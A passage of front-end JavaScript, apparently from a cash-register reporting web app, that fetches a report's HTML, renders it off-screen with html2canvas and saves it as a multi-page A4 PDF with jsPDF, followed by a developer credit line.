() => { Swal.showLoading(); } }); try { const response = await fetch(`caja_report_pdf.php?id=${id}&raw=1`); const html = await response.text(); const container = document.createElement('div'); container.style.position = 'absolute'; container.style.top = '-99999px'; container.style.left = '0'; container.style.width = '210mm'; container.style.backgroundColor = '#ffffff'; container.innerHTML = html; document.body.appendChild(container); // Wait for fonts and imagery await document.fonts.ready; const images = container.querySelectorAll('img'); await Promise.all(Array.from(images).map(img => { if (img.complete) return Promise.resolve(); return new Promise(resolve => { img.onload = resolve; img.onerror = resolve; }); })); // Robust rendering delay await new Promise(resolve => setTimeout(resolve, 800)); const canvas = await html2canvas(container, { scale: 2, useCORS: true, logging: false, backgroundColor: '#ffffff', windowWidth: 794 // 210mm at 96dpi }); const { jsPDF } = window.jspdf; const imgData = canvas.toDataURL('image/png'); const pdf = new jsPDF('p', 'mm', 'a4'); const imgWidth = 210; const pageHeight = 297; const imgHeight = (canvas.height * imgWidth) / canvas.width; let heightLeft = imgHeight; let position = 0; pdf.addImage(imgData, 'PNG', 0, position, imgWidth, imgHeight); heightLeft -= pageHeight; while (heightLeft >= 0) { position = heightLeft - imgHeight; pdf.addPage(); pdf.addImage(imgData, 'PNG', 0, position, imgWidth, imgHeight); heightLeft -= pageHeight; } pdf.save(`Reporte_Caja_${id}.pdf`); document.body.removeChild(container); Swal.close(); } catch (error) { console.error(error); Swal.fire('Error', 'No se pudo generar el reporte PDF profesional en segundo plano.', 'error'); } } </script> </body> </html>
Coded With 💗 by
0x6ick